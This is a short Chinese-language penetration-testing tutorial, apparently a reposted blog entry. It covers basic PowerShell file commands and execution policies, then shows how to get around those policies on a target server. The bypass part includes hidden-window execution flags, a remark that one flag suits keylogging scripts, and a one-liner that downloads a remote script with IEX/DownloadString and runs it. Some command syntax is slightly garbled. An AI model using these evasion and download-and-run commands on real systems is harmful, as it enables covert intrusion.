1. 程式人生 > >滲透之——PowerShell基本命令和繞過許可權執行

滲透之——PowerShell基本命令和繞過許可權執行

轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/86029412

一、基本命令

以檔案操作為例

1.新建目錄

New-Item whitecellclub-ItemType Directory

2.新建檔案

New-Item light.txt-ItemType File

3.刪除目錄

Remove-Item whitecellclub

4.顯示檔案內容

Get-Content test.txt

5.設定文字內容

Set-Content test.txt-Value"Hello World!"

6.追加內容

Add-Content light.txt-Value"i love you"

7.清除內容

Clear-Content test.txt

二、執行策略

獲取執行策略

Get-ExecutionPolicy

策略分以下幾種:

  • Restricted: 指令碼不能執行(預設)
  • RemoteSigned: 本地建立的指令碼可以執行,但從網上下載的指令碼不能執行(擁有數字證書籤名的除外)。
  • AllSigned: 僅當指令碼由受信任的釋出者簽名時才能執行。
  • Unrestricted: 允許所有的script執行

可以使用如下命令格式設定PowerShell的執行策略

Set-ExecutionPolicy <Policy name>

三、繞過策略來執行指令碼

如果要執行PowerShell指令碼程式,必須用管理員許可權將Restricted策略改成Unrestricted,所以,在滲透時,需要採用一些方法繞過策略來執行指令碼

1.繞過本地許可權執行

上傳xxx.ps1到目標伺服器,在CMD環境下,在目標伺服器本地執行該指令碼

PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1

2.本地隱藏繞過許可權執行指令碼

PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoLogo-NonInteractive-NoProfile-File xxx.ps1

3.用IEX下載遠端PS1指令碼繞過許可權執行

PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

以上命令的引數說明:

  • ExecutionPolicy Bypass : 繞過執行安全策略,這個引數非常重要,在預設情況下,PowerShell的安全策略規定了PowerShell不允許執行命令和檔案。通過設定這個引數,可以繞過任意一個安全規則。在滲透測試中,基本每一次執行PowerShell指令碼時都要使用這個引數。
  • WindowStyle Hidden : 隱藏視窗
  • NoLogo : 啟動不顯示版權標誌的PowerShell
  • NonInteractive (-Nonl) : 非互動模式,PowerShell不為使用者提供互動的提示
  • NoProfile (-Nop): PowerShell控制檯不載入當前使用者的配置檔案
  • Noexit : 執行後不退出Shell。這在使用鍵盤記錄等指令碼時非常重要。
  • PowerShell指令碼在預設情況下無法直接執行,這時就可以使用上述三種方法繞過安全策略,執行PowerShell指令碼。